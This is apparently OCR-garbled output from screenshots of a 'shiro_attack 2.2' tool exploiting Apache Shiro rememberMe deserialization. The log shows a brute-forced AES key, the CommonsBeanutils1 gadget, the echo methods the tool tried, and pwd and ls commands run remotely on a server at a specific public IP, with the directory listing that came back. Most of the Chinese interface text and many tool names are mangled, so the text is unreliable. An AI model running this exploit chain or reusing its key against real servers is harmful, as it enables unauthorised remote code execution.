[+] Find Valid Key: kPH +blxk5D2deZilxcasab==

[*] Trying Gadget: CommonsBeanutils1

[+] Time delay confirmed, target seems vulnerable
[*] Trying different echo methods

[*] Trying LinuxEcho

[*] Trying SpringEchal

[*] Trying SpringEcho2

[*] Trying TomcatEcho

[*] Trying TomeatEcho?2

[*] Trying JBossEcho

[*] Trying WeblogicEcho

[*] Trying ResinEcho

[*] Trying JettyEcho

[*] Trying AutoFindRequestEcho

1] Trying WritaFileEcha

[+] You can see the result inthttpy// */4697 js
[+] Vuln Confirmed

[+] Find Valid Key: kPH +bixk5D2deZilxcasah==
[+ Find Valid Gadget: CommonsBeanutils|

[+] Find Valid Echo Methed: LinuxEcho

[+] Find Valid Echo Methed: SpringEcho

[+] Find Valid Echo Method: TomcatEcho

[+] Find Valid Echo Method: TomcatEcho2

[+] Find Valid Echo Method: AutoFindRequestEcho

NERERELE, SATLERAERANGS, SEHIRCE:

5 http://. ‘lagin - O *
& |Is Hiis
AR Fire

[*] Using Key kPH+blxk5D2deZilxcaaal==

[*] Using Gadget CommonsBeanutils1

[*] Using Echo Method LinuxEcho A A A

[*] Executing command: pwd... de np=¢ #HT%E
[+] Done

/

[*] Using Key kPH+blxk3D2deZilxcaaah==
[*] Using Gadget CommonsBeanutils1
[*] Using Echo Method LinuxEcho

[*] Executing command: Is...

[+] Done

bin

boot

dev

etc

home

i s HUTEEER
ib64

media

mnt

opt

prac

root

run

shin

shirodemo-1.0-SMAPSHOT jar

sV

sys

IR EERREHTREEGNE, SEBRMIL EENER— M NHEPIERTHITHTHER,
AR P IR P e XA 75 0.

TE: shiro_attack 2.2

{8 shiro_attack2.2 iEREShiroZBIeNRE, JERREAFTRERN, SNSRI TEFRFR:




i shiroEFFliCRRESFIETE v2.2

wE

¥ BB

GET v | St | bttpy//49.232.14.126:8080/
¥ i

FEF rememberie EEEH kPH+blxksD2deZilxcaaah==

¥ FAA

FIFFEE | CommonsBeanutils1 * | [BEAT,  TomcatEcho

HEE X | @I X | AFES X

FEshiroizza!

[*] kPH+blxk5D2deZilxcaaaA==

[*] ZIEiEsECommonsBeanutils1 BI85 TomcatEcho
"] BEEEH TR B,

SLHTAEA ST

e =TI RS

RS/ 5

AESGCM | remsprEid | J— |

| meamsrEs 2|

1 shiroRFFHERREAFIATIR v22

v ENER
GET ~ | EitE | http/49.232.14.126:8080/
v =EEEE
xEF rememberMe IEEEH kPH+blxkSD2deZilxcaaah==
v RIS

FFA$E  CommonsBeanutils1 * | [EEZ7AF. | TomcatEcho

ENEE X | ST X | AFS X

EBRNRE/s 5

AES GCM HSETEH IEEH

Rl SERIARE IBERAEREE

B pwd

3.5.5 {E852iIY

1. FHZShiro®EEA
2. HE XAESEH HAME i g il
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